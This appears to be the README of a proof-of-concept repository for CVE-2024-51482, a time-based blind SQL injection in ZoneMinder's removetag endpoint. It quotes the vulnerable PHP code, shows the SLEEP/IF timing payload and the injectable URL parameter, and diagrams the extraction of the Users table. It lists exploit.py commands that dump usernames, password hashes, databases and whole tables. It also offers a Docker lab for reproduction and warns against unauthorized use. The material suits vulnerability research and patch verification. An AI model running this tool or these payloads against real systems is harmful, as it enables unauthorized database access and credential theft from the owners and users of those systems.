
Time-based SQL injection PoC for CVE-2024-51482 in ZoneMinder, with reproducible Docker lab and automated data extraction.
⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.
This repository contains a time-based SQL injection PoC targeting ZoneMinder.
The tool allows:
It also includes a fully reproducible Docker lab for safe testing.
ZoneMinder is a free, open source closed-circuit television software application. The vulnerability arises from insufficient input validation in the removetag endpoint of ZoneMinder. User-supplied input is directly incorporated into SQL queries without proper sanitization or parameterization, allowing attackers to inject malicious boolean-based SQL payloads. The exploit leverages:
SLEEP(x - IF(condition, 0, x))
to infer data via response timing.
Full vulnerable code snippet from Github Maintainer Advisory:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker compose up -d
Without any flags, the tool will authenticate to the target, check its vulnerability, and if vulnerable, dump columns ID, Username, Password, Name and Email from the zm.Users table (dump-users command).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Only checks if the target is vulnerable.
python exploit.py -t http://target/zm -u <username> -p <password> check
Dumps ID, Username, Password, Name and Email columns from the zm.Users table. Default command if none is specified.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Lists all databases.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Lists tables in a specified database.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Lists columns in a specified table.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Dumps all data from a specified table.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
You can also specify columns to dump (defaults to all):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
If the file does not exist, it will be created. If it already exists, new results will be appended.
--outfile results.csv